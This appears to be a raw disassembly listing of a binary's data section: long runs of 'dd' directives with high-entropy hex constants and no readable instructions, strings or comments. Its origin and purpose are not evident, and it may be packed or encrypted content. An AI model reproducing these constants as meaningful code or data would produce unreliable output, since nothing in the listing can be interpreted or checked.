0C3C5B1A6h dd 3AE310D8h, 2474E3E3h, 44CB2390h, 0EDDEDC2Bh, 7C444D62h dd 7D3576BAh, 0A918E6B3h, 91B4B2C9h, 0D7B17F7Eh, 0B3C8F30Dh dd 2750FD17h, 0A25193D0h, 866AE137h, 0F1C16BD0h, 19C067FFh dd 0F65D47DFh, 0A45F9FB2h, 0A87B3D3Ah, 0ADD2483Ah, 307A3574h dd 0A2C55149h, 494D364Eh dd 3879AF0Eh, 2D385435h, 714EBE5Bh, 2E4E3DAFh, 6BFCE44h dd 0D279B570h, 9BB9BBE3h, 0D03EE076h, 0DC37BA00h, 0A0A6ACE3h dd 0E9BBD41Ch, 0A4C0DE51h, 8F51F7A1h, 33181FFDh, 32CA263Eh dd 0F932E9E9h, 0B4C0EC2Eh, 6A61A44Bh, 76E8E35Ch, 0D8B9DACFh dd 1A96F4D4h, 0BABA3025h, 8591A391h, 4414B4E9h, 9065AAC0h dd 8619F393h, 94EFEE90h, 6062CC8Ch, 66452060h, 0E5A04B2h dd 3965D97Ah, 66E958C5h, 9A1C64C5h, 0B03549EFh, 4C4CBB4Eh dd 2A329959h, 0D5588CF5h, 342EE533h, 949866E7h, 9544C3B7h dd 401FE766h, 0F327F15Dh, 70999829h, 309474EDh, 725DA16Eh dd 5B8870E1h, 874288E9h, 68C2CC9Ch, 5F39A380h, 39BC1045h dd 4CCD6E51h, 5887A0B2h, 0C4FDD53h, 84A088DCh, 711408F1h dd 39AA9927h, 663B9A05h, 7DF6B665h, 34C9E960h, 2E8059DDh dd 2583E6E3h, 18E2DA8Eh, 0B9C5D030h, 73119C1Bh, 188804A8h dd 24D37251h, 77B49BADh, 0A2E0A172h, 78327F6h, 81A7470Eh dd 0FBF9B90Bh, 0DA10D68Ch, 9A7181AEh, 96402D52h, 3DF144F4h dd 0CEC151ABh, 4C4C5798h, 69326307h, 4C4C4EF5h, 27C8B941h dd 438BCD82h, 9061CC49h, 9D970601h, 0C3455987h, 5531F3FBh dd 0C540C58Bh, 7E877ED9h, 6C6C0D42h, 781BEC27h, 0AB9D51BBh dd 0BF9CF706h, 3B6F74AFh, 79836A0Dh, 25914B8Bh, 8FC589EAh dd 0C4B241A0h, 8B0FF1B8h, 0B744C27Fh, 0CF5EB10Ch, 0F04F3385h dd 3439BDC3h, 0EA53863Dh, 51F3A38Bh, 3EBFD7B3h, 80CC1E2Fh dd 1F96BA53h, 72780980h, 0C8974791h, 0BA9046A2h, 74A6DEA0h dd 0D3BFB3FEh, 8F93DFB2h, 0CF8C3F5Ch, 59253BFFh, 3D8AC663h dd 0D4B8035h, 0BAC47B9Ch, 965B7A70h, 0ABC3BDFAh, 0DD2B553Dh dd 0E03BC867h, 0F0D3A021h, 8B5CC284h, 0E1E644A7h, 5B6BE6AAh dd 22A57BA8h, 3E58BC80h, 373F4395h, 0BBF6C333h, 0BFB8594Ch dd 7B90663Eh, 1DE0B273h, 54549354h, 7E639046h, 0B88438FCh dd 0F7919810h, 0A5B42D38h, 0DF7D95E9h, 0B5503551h, 0DD825520h dd 986B3488h, 0B08DE399h, 2453E91Ah, 7AE3DD53h, 0E2F73567h dd 3733F1E8h, 0B68820EFh, 2B090434h, 0BCA859F3h, 0B72B0202h dd 0A6E7A18Bh, 12DFC444h, 0A6A5207Bh, 0BCE8E3AEh, 21392689h dd 0EEB9873Eh, 0E06847E3h, 0A370E806h, 0E3686BFBh, 0F89A704Bh dd 8607726Fh, 677A93AAh, 364851B1h, 6FC9D65Eh, 838DB4BFh dd 0C6A47197h, 99C61B5Bh, 0A421C51Fh, 83F1E6B7h, 60197C84h dd 38855C0Eh, 2BF8D4B1h, 0BE3697C7h, 0BBCA95B0h, 21212121h dd 84888CF0h, 21212121h, 94989C80h, 21212121h, 0A4A8AC90h dd 21212121h, 0B4B8F4A0h, 217F93D6h, 48064CB0h, 2940A744h dd 0B8F78C3Dh, 0BB0C7004h, 0BDF84A3Ch, 9F0638ADh, 245C2CEAh dd 5E2FFA69h, 2B5EF69Fh, 2B7C3C3Ch, 7BBCB4A4h, 0C6E92103h dd 4CA75F05h, 9344BB5Ch, 40939393h, 0A4545850h, 649393A8h dd 0C107C96Ch, 8D33CE84h, 0CD8417D0h, 80AB0574h, 0D8736220h dd 80D896E0h, 0B80DA4A1h, 2E34064Bh, 4B78D373h, 300C7066h dd 1F73F8B9h, 8FBAB668h, 0E6E77879h, 0D24F83E3h, 4F0F17DBh dd 0A4CD70BBh, 94E43BF7h, 6A47FFA0h, 962B6833h, 957DAC39h dd 0AC868437h, 0E0A8ACA8h, 9FCD9F08h, 0A87FA8C5h, 0DBC6C9CEh dd 3B412BCFh, 0BEA0A268h, 0A6F15B63h, 6B0EE482h, 6196EF4Fh dd 6169615Bh, 0BB68615Ah, 8E44C56Bh, 33D44740h, 0C863783Bh dd 15827F4Bh, 0C261B356h, 0C7FE8BBEh, 8BB7C2B8h, 5808E985h dd 80FEB1C6h, 0D06933FFh, 510F51FCh, 0EBB06A33h, 2947EFEEh dd 0C754DC57h, 98BB7C60h, 659E9C06h, 8DA19575h, 1E4B450Bh dd 0A4294186h, 9D5E7300h, 9FB13590h, 8D5F4E9Eh, 599B5CC3h dd 513BA974h, 0F03BB83Bh, 0C22E0B4h, 78782035h, 0FC2B562Fh dd 0F471FC62h, 0BCA0A401h, 3246BD4Ch, 8582EC33h, 615961BCh dd 843C3C6Bh, 437901A3h, 7888A4A8h, 0BCA02390h, 6D06EBEEh dd 0E323E3E5h, 29116DE4h, 6C6D1DCDh, 72BAB8BEh, 6DE05BA7h dd 607D05A0h, 6D9ABC1Eh, 0B821A478h, 0D90CA4A0h, 0BEBC6736h dd 9BB8C6B8h, 0BCDEABC6h, 0BE1C83FDh, 4829BCB8h, 3ACB8282h dd 0BB240576h, 9C192808h, 303C8283h, 36F4F3B9h, 9BD84020h dd 350DAC49h, 0A313EDh, 605DBD33h, 0BD4F5F8Bh, 5C1C99D0h dd 216FF0BDh, 39A80721h, 8C18ABB8h, 0B0A81411h, 88A1C813h dd 0D0AAF402h, 4D6E1373h, 9727EE36h, 2D697674h, 40ED2E10h dd 0D81880C7h, 0BCB444A0h, 12FFF043h, 3FD78811h, 0F5CE4D62h dd 0EBB53D24h, 0F3A3A884h, 2C31408Ch, 0D174200Dh, 0B0BA6B96h dd 0D442B874h, 906F40B0h, 113890DCh, 39801094h, 47303CC5h dd 8E4BCA2Eh, 0F68AC592h, 8AB63AA0h, 42AB0173h, 0AE24C794h dd 0C690B420h, 0B42DD542h, 142B9F51h, 0F54604F0h, 0A1C4B160h dd 4D494E12h, 0BE5B64E1h, 68C690E7h, 0BADA455Bh, 0A19384E8h dd 90F18604h, 90C377EEh, 0AD289FADh, 9745CACh, 0B9CEBF1Ch dd 0E038FD39h, 0E920B8E1h, 0BC691CE9h, 38C1EDF3h, 0BBCC77ABh dd 0DE3921B6h, 0AC1738A7h, 0B4C76E30h, 0B2C9343h, 0B0B1B8B3h dd 0DC5C6632h, 109FD729h, 0D4DDA2BDh, 0BB2AAD54h, 3B04001Ch dd 3939393h, 0A8A0A4A7h, 2EF6F790h, 0B8044C93h, 3C044044h dd 488C3C3Ch, 3C5C5458h, 6C3C3C3Ch, 3C605068h, 7C3C3C3Ch dd 3C707464h, 783C3C3Ch, 3E0C0408h, 1C3C3C3Ch, 5B00018h dd 0C9A9AB82h, 93BCB43Ch, 0D4D4D414h, 2CBB1086h, 0D4D42428h dd 3420D4D4h, 0D4D4CC30h, 0C4C8D4D4h, 0D4D4DCC0h, 0D4D8D4D4h dd 0D4D438D0h, 0E4ECD4D4h, 0D4D4FCE0h, 0E8F8D4D4h, 0DB688CF4h dd 0F088D4D4h, 0A5B15A84h, 0B09AB002h, 0B0F0AC30h, 0F14F7D69h dd 0B0DCDCD1h, 0DED99EDCh, 0D7DFDCB0h, 5D492BA3h, 0C2D8C44Eh dd 0C3D4D1D5h, 0C5C3F8BFh, 0D9DBB0D2h, 8FB0DBE6h, 0B02B21A9h dd 1BC4C5DFh, 0FC0C4C4h, 9ECF5C6Dh, 0C4D1C4C3h, 0A9D6D3D9h dd 0C2BEBCC3h, 0D9D49EDDh, 7B4C0FD5h, 0C7DFDE93h, 0C3C6D4D1h dd 0C3DED1D3h, 0C0D9B0D3h, 495FC7CFh, 0D5D7C79Eh, 0DE87D4C4h dd 80FF8925h, 0BACADCD6h, 9E4647C6h, 8D4C0C5h, 0C2C784C2h dd 3B15FDBh, 0E049B6DFh, 914FB08Fh, 95B0F0C6h, 426CB1B6h dd 8F0FB3D0h, 0B7CC76D8h, 0F6B0B2B5h, 109420BDh, 0C408B132h dd 87CBA0E9h, 3ACF4FA7h, 0E3E9E3B0h, 0ECFDF5E4h, 0C2C2C5F3h dd 0CDC4DED5h, 0F36F49CFh, 0DFC2B7DFh, 0C4D5E3DCh, 0D9C6C2ECh dd 0A1C3D5D3h, 5E5FD1D8h, 0D4854BC2h, 0C3A6D3F1h, 0DDD1E0ECh dd 0F6A5878Bh, 0CB04755h, 0DC79DD9h, 0D3D9EFE0h, 6F4F5DC9h dd 0DED1C447h, 0E0D48BD4h, 0DCD9D6CFh, 0C5F1ECD5h, 0C2DFD8C4h dd 0C0C4CAD9h, 0B16D4Ch, 935F2C0h, 0C3D9FCDBh, 934EF6C4h dd 0C395FFB2h, 958A9A8Ah, 0B8F82C3h, 0E599D0F3h, 8A976DC3h dd 0B28480B3h, 3888E78h, 693646C0h, 8AB2B3AFh, 8CAEBD9Fh dd 0BDD5F388h, 0C983E4EFh, 6BFB5E7h, 0D90A986Fh, 0D5C8F5DEh dd 0D5A587D3h, 7336EC0h, 0D5E2A0DCh, 9BFD21D1h, 0F79EC8D5h dd 0BE4B696Eh, 0C4AFFC39h, 9DF73F5h, 0C48DC2F3h, 0FE67B45Dh dd 22F6AFF1h, 0B7DCAEACh, 0DF0CA303h, 9174F8CBh, 0DEBDDBAFh dd 0CE40EF6Eh, 9E828315h, 90C7DC91h, 9EED9BEBh, 72479EBEh dd 90AF730Eh, 9992B992h, 0B591B7A7h, 4AC8D1Ch, 0FF98A2F0h dd 908A97D9h, 4E6BFF99h, 0DFC6DD78h, 90E3C4C5h, 8ED9958Ch dd 5CDEAEADh, 0DFFE4D26h, 978AFC90h, 0E6A9F9E7h, 476D3FDEh dd 0C4E9D4A6h, 0FE572598h dd 46FBBF9Eh, 9B5F8B7Ah, 0F6AEC3DCh, 0DB99DB23h, 9607DF07h dd 0C290D1B4h, 9E3DDEC5h, 62BFD6FFh, 909C84CEh, 0C2659FD5h dd 50779491h, 0DE897537h, 0DFDDF5A4h, 0B226F0C6h, 0DBC2775h dd 0A92BA59Fh, 9EC67BF6h, 47C2E8EFh, 0ACD75F40h, 0F89EF6DBh dd 0D4D1D2AEh, 0DD5BD690h, 974FDE3Ch, 0F1F6B1DAh, 0F4F5FCF9h dd 0D4DDD390h, 0E5339A25h, 71F78870h, 0D3DF7180h, 61E6DC3Eh dd 90FCF446h, 0EEFCE2E5h, 32C68B70h, 9D87BC60h, 0BACEBDEh dd 0ED78E5C8h, 0DEB19DDDh, 0C0A5D177h, 0D4B4C531h, 78903DE8h dd 0EBBC8C84h, 0CAF40F90h, 2C62CFDh, 9908B104h, 93CDE3E6h dd 124BA003h, 0C7A10B6Ah, 0F713CDD9h, 0D440CD73h, 0D69BEFCBh dd 5537CA90h, 0D3039437h, 0AC9AC3DFh, 0FF0D71DDh, 0ADBECF84h dd 0D7A1C3C5h, 85CA2F90h, 0FDD1B8D0h, 5802C5C1h, 0D9F6DA06h dd 0F4E2AFA1h, 0AA80DDDFh, 5C03EB2h, 3A0DECF5h, 7FD3BBC7h dd 77C0B8C3h, 4D581D9h, 0DAA20747h, 9D925F73h, 0C24992D1h dd 9B47D2BEh, 92D33301h, 0DCC5A31Fh, 0BCA88A41h, 0CFDFDE6Eh dd 658FCFC0h, 1333BCC8h, 7BDE581Bh, 87BCE0B3h, 0E3D6DBB4h dd 6FF6D69Ch, 5E466AD9h, 0C8A995BDh, 0A5C8A6B2h, 0ACEB5F3Fh dd 0CB34C0B6h, 5DC6DEB5h, 4046D1D9h, 0DCF13FD0h, 0DEFFC9ACh dd 7336BF0Dh, 90FF14F4h, 0DD27DFE4h, 5032F51Bh, 8EBDC989h dd 85A69DBh, 0CDD6DEC8h, 0DA8EA7DDh, 1AE5CC0h, 0B32FEFD5h dd 97AC499Eh, 0E6590169h, 0C4D8C4C4h, 0A66542E9h, 0DF9FD590h dd 3D2DD6D6h, 0DC38702h, 0BEA8C7C0h, 5CBCA249h, 0CF92EDB9h dd 9CDF1FA7h, 0BD4FB7B1h, 3B8B829Eh, 0B8C67183h, 900D1C17h dd 0BBB091D8h, 0BFBFA672h, 0EC375837h, 7FE9F507h, 0F4F9E0EFh dd 0F1366Bh, 0F5057FA5h, 0F4FBEBE6h, 739BF7EFh, 8FA9B540h dd 0D6819E90h, 9087F2FBh, 61BABCh, 0E89FAFF0h, 0F0CF6F17h dd 0D7F3C98Eh, 0FB88C8E8h, 0E0C88887h, 1F9DC5A6h, 0F0A53313h dd 9D4C9DC4h, 0BFF3B027h, 0FFA63F47h, 95C2D989h, 97C9C3ECh dd 5DBF8375h, 0F776B20Fh, 0A8E738EFh, 4899027Ch, 0F5E6A5A6h dd 4F0F4F4Fh, 3DBBC724h, 0CA7E8D08h, 0A4F0A6ADh, 7EC11425h dd 0F275A1CCh, 7D1D4C94h, 7874DF29h, 0FF4E4F1Dh, 0E79FB001h dd 0A6F724E5h, 48951433h, 0BDBEA7CEh, 0CCE1D460h, 0B005C87Fh dd 0A74B48BFh, 4CB8B74Ch, 0D6CF4F22h, 64FBF397h, 620B9F5h dd 0BCDD4E8Fh, 78C6F134h, 3A8F5D89h, 0F332A8FCh, 0E3003CFFh dd 4D1AB29Bh, 0FBB78EF8h, 0E02CAF2Dh, 8E7511B2h, 0B9C26FDAh dd 21AE93B8h, 4F4FDBA7h, 3002074Fh, 0C00CD3C7h, 0A435139Ch dd 7383E071h, 0B70C6FDh, 4BC23960h, 99553941h, 4F4F8A19h dd 321C4F4Fh, 59E2FD14h, 2611D34h, 14267E37h, 0EF1110B3h dd 5E8924D8h, 208D2728h, 28597CF2h, 1A8F2F64h, 1CC845B8h dd 0FBD73A6Eh, 0D1E039F2h, 0AA42F0B0h, 0A2850220h, 2487397Fh dd 0DED9D1DDh, 5C83A738h, 15153704h, 0D3C2D987h, 0A5DCD4A7h dd 396BD0F1h, 0F4F4A747h, 0B6A8FFC1h, 5CF79EB1h, 0F58EA7CFh dd 0AD2D1DEh, 0C2D3D9FDh, 0D6DFC3DFh, 0BE9390C4h, 8791C16Dh dd 0AC76B5ECh, 0A591BBBBh, 1DBEE72Fh, 0C46FEF35h, 0ABFBDFE4h dd 9DDD5549h, 0DDD9E44Ch, 87B1ACD5h, 3E874E80h, 33C7BFF3h dd 0D5D4D9C2h, 6BAFC49Eh, 0A3D78511h, 0D2C3C587h, 0D339FC8Fh dd 3F7EE093h, 9598908Fh, 238F7D4h, 99B59D0Ch, 21FCCF9Fh dd 0DF6E21CEh, 8090F9D7h, 0DDDFD390h, 0F0DDCC0h, 2938FAA7h dd 95F58CA4h, 118EC9C4h, 0AFD9F03Dh, 93CAC763h, 0E5B1B48Eh dd 0ECE2F5E3h, 9080909Ah, 0F732AF00h, 9FBABD27h, 0FBF3F9FEh dd 0ACA3AF90h, 0F1E04BADh, 0FCA7E3E3h, 0F7F4C61Bh, 8E5E764Eh dd 0E4F9E5E1h, 0B88FBE98h, 0F7FEFFE0h, 63C680FFh, 2FA7F9C7h dd 0E6F9E20Fh, 5D5FDD2Dh, 77F7E3FDh, 0F59BE4FFh, 0E2F187CFh dd 2D6A68A5h, 0D9FFFABFh, 6B83228Fh, 0CF01019Eh, 0A76FEE99h dd 0FBAB9CC0h, 0FBA917ADh, 0EBFBABEBh, 9FBF8717h, 0C6069517h dd 0F4FFFDEFh, 4797ED42h, 91041BD8h, 0A79D3EA9h, 4B8D2F5Dh dd 0FBBE9D15h, 0E0E8BF83h, 0FDB7A69Dh, 91575F5h, 8889BFCCh dd 0E385E4FEh, 838B99E0h, 0EDF00D5Fh, 0CCBFD9DEh, 0FCD6DEC6h dd 0B0FD8463h, 0B0B0B0B0h, 6F32DD8Fh, 0F9829EFEh, 0B7C58486h dd 0F9F1B6F4h, 906FEFFDh, 0E3F34E27h, 0FFDED7D9h, 0B68E39DEh dd 53AFFEE3h, 7BF83FAEh, 0DFC79B7Dh, 0B221F3C7h, 8628F12Dh dd 708AEB16h, 2FB5D3BDh, 44E2E3D1h, 9EFE27F6h, 0D94DE3C6h dd 0CF094E27h, 0C7DCD8C3h, 0EDD9C0D1h, 0CA3E13EBh, 0FD16E34Eh dd 0BC9C2EAh, 0F9446700h, 1FDFD6DEh, 0B589DDC5h, 46EBDEAFh dd 0D4DFFDA7h, 3799DCC5h, 0BF2F2AFh, 0FE031164h, 489FF19Fh dd 0B4BD5AA2h, 0B017F59Eh, 0D8CCC3C0h, 0E3BB9B44h, 0C3F4FCE1h dd 5BADE45h, 0C4FBAD0Ah, 7BF3F6AFh, 0EA5E626Ah, 5FE1F1AEh dd 25F09791h, 0DF063C46h, 0D022D7C2h, 0F34A06A5h, 25C4F1C6h dd 8DF69D17h, 0C24B4628h, 0A7B01DF3h, 4AE3D3D2h, 0F6265FB7h dd 15D8F3F8h, 0C4DF85D7h, 0B0C9D6D9h, 259E216Ah, 0F1430237h dd 0CA25C3AEh, 0E7D9C6B7h, 58F37BFEh, 0FE5CE7DCh, 822A01DDh dd 0F187B0E7h, 95756A86h, 0D9F3CFF1h, 5C1F19Fh, 0C269D11Dh dd 0B67720F7h, 0C0D4E548h, 0E4AF14E4h, 1CCDCFD3h, 0ADD6F90Dh dd 0F9C6D527h, 10BFEC0h, 7B90BE23h, 0CEFD90F7h, 0D9AE8EF0h dd 0F4C0A1C0h, 0DCF6C3DEh, 0B13E5140h, 0DFC3D6EFh, 0D3D1DCDCh dd 0DC71DCF6h, 91EFCB43h, 9BE819F7h, 2BD48773h, 4B3BFE46h dd 0D1FE37F3h, 0D6C5F20Bh, 3389E7D6h, 2BF4DE03h, 0D0942686h dd 6BAD053Fh, 2AAF7497h, 24718191h, 0D1AFE48Fh, 0CE1331Bh dd 0AFC9E47Dh, 0BD368D0h, 0C8674FF1h, 27EBE397h, 0B2F22146h dd 0C5D2DFFAh, 0DBDD1D9Eh, 0AF69286Bh, 0B48AAF69h, 0CBD33DF3h dd 5FD3B906h, 0D3F941D0h, 9F52E8Bh, 0C51AAFDFh, 969FEA11h dd 3AAC8C7h, 96D95FEBh, 0B0CA8137h, 0FAF4CBAh, 9E849FD1h dd 6C989080h, 0A8151D2Ah, 0CFA6829Fh, 5DFBBCDEh, 1F417E34h dd 969FE29Fh, 2BBF3C6h, 0DB91C2E7h, 0BDED6AE5h, 0F1DCC25Dh dd 0DE4BFF37h, 3BEB979Ch, 0C7F18BB6h, 9406F0B1h, 0C4F6564Fh dd 0C4C5E0C0h, 9AD5F7AEh, 0F8D97185h, 56E24F75h, 0BEBEDC3h dd 1696D76Bh, 5BF70797h, 0D14E8B2h, 0A4C48DA7h, 0BE29D826h dd 0C88FF73Fh, 0E51E7314h, 4B018CD9h, 81818C8Ah, 0D3A62883h dd 0DE782886h, 8F57A580h, 2568187h, 2AB36771h, 4BB6AF62h dd 0A7F1D040h, 0D4E5C9D2h, 0AB04AFC2h, 0AFF25DDCh, 0ADAF2AEFh dd 0C37951E6h, 0B43C0DFh, 0EB18706Eh, 63CCA605h, 0D0A5DC8Eh dd 0D2030961h, 0C6A407D9h, 0FAD3DD46h, 8737A724h, 36BFDFC4h dd 27779E2Dh, 0C3BF41A9h, 627E5EBEh, 0BEDED8AEh, 0B3EF68AEh dd 0EFBBDD1Ch, 0A6D1E0A7h, 0EEB8A68Bh, 0A1DF9EFBh, 85A55FDCh dd 0E78E8CCAh, 9FEDF1E3h, 20B7F21Bh, 0DAF7A9Dh, 47CD0CB7h dd 0A6CCF996h, 0F6AAEFEFh, 0C3C3F9F4h, 0D1735006h, 89C3F187h dd 0EF1FE3D3h, 8B860529h, 0AFF10DE3h, 63EA5388h, 0C3C7773Fh dd 4783EF82h, 5E630F69h, 32DAD2FFh, 0A6F3F4AFh, 0F2C4D9F2h dd 0F0529ADCh, 0F70F0600h, 0C8F2B9F8h, 4D757099h, 963BC22Dh dd 0EAD87D5h, 0C079463Ch, 4F3279Eh, 0E1FD9D01h, 0E3CC9F13h dd 0B6E8A88Dh, 0D4F397CDh, 0A201D4D7h, 7CC1E532h, 61756D11h dd 0C3C57249h, 0C22AD7EFh, 63C7A180h, 0FFC46A59h, 0DECAC26Bh dd 2701D128h, 0F4F3B4F3h dd 93D1B3C3h, 877FF7BCh, 2687468Dh, 0D64FCB33h, 0C382D7D9h dd 0D50BC5E1h, 0C99D5C87h, 5B32FC85h, 0C013FC8Bh, 0F9A0509Eh dd 0A73F00DDh, 30F2EB40h, 0FFD40317h, 0A0915FDEh, 0E141A8D4h dd 88D0B8A0h, 0E772AAD9h, 9006A6A1h, 759DF947h, 71C0B1B6h dd 0C5F2C2E6h, 3CC6B5C2h, 1FC9735Eh, 21BFD3C3h, 0D0F6A093h dd 0BD7D1FA5h, 0F7F11FD3h, 0A9992546h, 773ABD07h, 0E40A9481h dd 91233D00h, 0D702AE7h, 0AD8646B5h, 1BFDF3AFh, 40F740EEh dd 0C3FCCDF3h, 0B1C4FED1h, 6F1DFE4h, 0DB7F9112h, 0E034AD87h dd 74A79C90h, 9190FFD1h, 8965AF06h, 71751704h, 0E2A7C5DFh dd 0DFC32DB7h, 31DDEBB7h, 0F9E813Dh, 6138F868h, 9E3DDBDFh dd 0BC739737h, 0AFA47333h, 82C3D332h, 0BDB60CEBh, 0B017B0F7h dd 0F880970Bh, 714E50CCh, 713D46BBh, 0DBD3D3DAh, 0C0D2E096h dd 17FF5770h, 629A9889h, 0A09D7906h, 867B9DC5h, 2FB77392h dd 0D9F697C9h, 76E4ADBFh, 5E50F695h, 86248CFBh, 0CCC9D5FBh dd 0DBD1AD96h, 0AF2FE66Bh, 769B788Ch, 0EFAE739Ch, 1DDD3790h dd 31DD1D15h, 0B67F33AFh, 95266D83h, 93DC963Dh, 68551520h dd 976B7D07h, 0DD93F3B9h, 39BF93C4h, 0D733E481h, 3913D62Eh dd 968D6A91h, 6837E621h, 2CE693DEh, 739BAF47h, 0CF2CDD36h dd 0F3E591ADh, 0F9BCB7D2h, 0D0808F3Eh, 3F12A673h, 0A934B91h dd 0C9A37500h, 6A2FA5AFh, 0B9C4C8ABh, 0F1DFD245h, 0E53A8637h dd 0B7A093EAh, 829BD0FDh, 0C90ED0BDh, 0B9690025h, 0A286C731h dd 0FC91DEABh, 419EBF68h, 90D33390h, 0C5195768h, 0F1B89B26h dd 774FEA5Ah, 9BB01CA8h, 8CC55087h, 0C23138DDh, 0C0E01767h dd 0FEFCB4D4h, 1E40A064h, 0BFFBB161h, 0CF3AF38Fh, 89E73D66h dd 0F182EBD5h, 2F0B110Fh, 0C9E4F681h, 11AE08C0h, 3E61DC1Bh dd 0A39D69D3h, 0C445C2h, 0E7C39346h, 0E35EDBE1h, 41628590h dd 71A9D359h, 72A6B240h, 0D316BB13h, 31F24D39h, 0C8D5FE91h dd 0B841F1AFh, 87F7B014h, 48A69DDCh, 85C0092Eh, 4777DEE3h dd 34BBE400h, 645FE8Bh, 5663C76Ah, 89B88081h, 0B7888681h dd 0B0BE8289h, 0E92A8FCAh, 669E9687h, 0D6E1D3D2h, 0F4BCE6Dh dd 0DBDAD98Fh, 0DFDEDDDCh, 0C562C1C0h, 0C9C8C7C6h, 14B12FCAh dd 0E9924F64h, 0E2F5E6B1h, 0FEFFF9E3h, 5EB240A6h, 0BAB0CD2Ah dd 95EFB287h, 0B0A641DCh, 98D32B94h, 0A3C26FCEh, 8384B666h dd 83678283h, 80805987h, 56471185h, 8686BF4Bh, 818283A7h dd 1FFE4B0h, 0FCBB6F3h, 0B3E7F6Bh, 2EE2FFE2h, 40E4B3D3h dd 0EDB7BBCFh, 85848382h, 89888786h, 7D621BEBh, 0FBF8B7DFh dd 0EFE9F5E5h, 897E338h, 0F3AD6B6Fh, 0E5F39F64h, 0E4FEF563h dd 779562BFh, 0F9F6278Eh, 0FCE28FF7h, 0EBE2307h, 0EFE3F503h dd 0CF40FFADh, 9E6322E5h, 0FC8F0E95h, 40409BFDh, 0F3FFFCCFh dd 0FDEFFCF1h, 0C1F8F3F1h, 0C0C657F5h, 0D7EDF06Fh, 75BFEFF7h dd 5F23AEF4h, 0E5FD790Fh, 0F9E4FCBFh, 0F6EAE3EFh, 6D6AE8F5h dd 0E0BFCFDDh, 99F4FEF1h, 0CFBE96B8h, 0CB8D6BDEh, 0FAF9F2EFh dd 0BFDF9F5h, 20DFFC87h, 3F6B5127h, 95E5E17Eh, 9EBBC9FEh dd 0FEE7FF5Dh, 0EE93A9F7h, 0C081DAF2h, 0E9E2F1CBh, 99E498CFh dd 3EA29590h, 190D64EAh, 65584634h, 0D1D6C99Eh, 0F799C4F3h dd 0C2B4082Dh, 14904C7Fh, 345097C4h, 151E8CE2h, 0B8A821DFh dd 0D231A7E0h, 7013C023h, 9631D7C5h, 1FFDB8AEh, 0D690EC31h dd 4A24D40Ch, 991FE502h, 749EC01Bh, 0A2C6ED16h, 0F74AAB92h dd 0E67E15F5h, 0D0D6D36Ah, 5BA1C396h, 0FFE3FF71h, 1BE7E4F6h dd 3629ECF5h, 0EC67DDE8h, 0C5E456CBh, 38DE30E6h, 8267F5A7h dd 4037D9A5h, 86CFF727h, 3730F24Fh, 908E9090h, 0D39FC5DEh dd 0A01ADF40h, 0FF4F9062h, 0F5E0E3FDh, 385EB6F3h, 5DC0F7ABh dd 0B73C682Fh, 0DB2D0751h, 2AD90DDEh, 58DEB047h, 7468B7ADh dd 2AD91604h, 10141C16h, 162A3824h, 0C4302AD9h, 0D0D4D8DCh dd 0D9162AD9h, 0F8E0E8ECh, 2AD916F0h, 0AC988416h, 63FDB4BCh dd 0AC4C7B84h, 6C545C44h, 63FD8464h, 0C747C84h, 84631804h dd 242C63FDh, 0FDCC343Ch, 0C4FD8463h, 0E8ECD0DCh, 63FD84FCh dd 9880F084h, 43FDA4ACh, 0B4A063EEh, 58B7AB6Eh, 2AD96850h dd 78608466h, 4080C96h, 162AD916h, 14181C00h, 0D9162A10h dd 3820282Ah, 0DDC0C830h, 0DCD91620h, 16E8D0D8h, 63FD84E4h dd 0F0F8FC84h, 162A8088h, 909862BDh, 0B4A0A8B6h, 0DC03FD84h dd 5440AA48h, 8463646Ch, 787C63FDh, 0FD040C74h, 1CFD8463h dd 0C4CC382Ch, 63FD84DCh, 0F4FCEC84h, 84639C80h, 909863FDh dd 16B4A8ACh, 44D52AD9h, 50585CA9h, 0D9162A68h, 7074602Ah dd 0DC180408h, 10D9162Ah, 30343C28h, 0DBFD83A9h, 0BEC40787h dd 0E4ECB6D8h, 0A8FA72B1h, 0F200FBE0h, 3902F61Dh, 0A897C2A0h dd 0C566C4ABh, 0BA0CFFF9h, 0D19D5888h, 0D1DC3E37h, 0E936B0DEh dd 0C01778C7h, 7688D2CDh, 0DB806589h, 0D3C62386h, 0B31D8AA7h dd 0DFFF85A5h, 56079BD9h, 0C0D1D9DBh, 0DDD5D906h, 0F3FE5BDFh dd 5FC1D4EDh, 2538AE6Ch, 5630A35Eh, 0BF27DDD2h, 0FC502BDDh dd 0F863BE14h, 0DCC1CEF3h, 5CAB8BD0h, 969BDF5Eh, 0D2D470B7h dd 0C36D765Dh, 0A682BEF0h, 0C66A99B7h, 0C7D041B9h, 0BF96EBDFh dd 5051487h, 0FBD2AF69h, 103BEAFh, 0EFBEEFFBh, 0DEBADF87h dd 0EF600400h, 47BFAF97h, 240CAB14h, 0DF8EBE16h, 70FE21D1h dd 0B7C83BCBh, 875FA6DCh, 493D5D58h, 0D3C5D6BEh, 0C8D5AADBh dd 9E813BD3h, 5F49878Bh, 0EC369586h, 14DE97C8h, 26C5395Fh dd 0BEA77D15h, 69C08F63h, 1DDB11C6h, 3BCFBFD5h, 0DE9D6D6Dh dd 0C91D228Dh, 0B9A13BAEh, 8E97A49Eh, 0AFD9153Eh, 0A08B6DBCh dd 92C27F15h, 66A7C1D0h, 97BFC3CEh, 0A2A2B7A3h, 0DBF55C52h dd 4BD5C03Fh, 0B65FC0D0h, 0D96F8C73h, 5C4BC69Eh, 0D6170CB5h dd 9D8EFCC2h, 83F5D5DAh, 0D24EE884h, 0C1B0D2DFh, 3727CAC7h dd 0FAFB1E6h, 0CAD1C185h, 235582EEh, 0A6536F97h, 0C0C8BE0Ah dd 0EB75DB82h, 88897E97h, 4FDD154Fh, 0A272E3A8h, 0B6A74CAEh dd 0A62EAEEBh, 0A7D5D86Eh, 27D2E0BAh, 0DA86C267h, 0AF950626h dd 0B1D7D901h, 0AFB9C733h, 0D7D5B7B1h, 0CCDFC4DEh, 9465DC1Dh dd 0B702527Eh, 0C23EBFBCh, 0AFB10AC4h, 3CF6EA51h, 0C664771Fh dd 0E1345C6Ah, 0F4364DF2h, 7118FFC7h, 7EB6333Ah, 6159C8C3h dd 0D996B35Eh, 0ACDDFEBCh, 12059982h, 62F7DE96h, 911C824Fh dd 84F80395h, 907E83BFh, 8182BC33h, 0AB00DC80h, 0AFAAA593h dd 0B27000A7h, 0BFF79FBBh, 383h, 0BEB69FAFh, 0A10B0BA6h dd 0C0E70E9Dh, 0BE23D7C7h, 94E29BFFh, 436253AAh, 0DB10C7F6h dd 0DDEE81A7h, 8DC096B6h, 0C3BF6C32h, 0E806385Bh, 0AF0C8694h dd 8097EAEFh, 0D4965CEBh, 0D5AFF723h, 2A9CF3A0h, 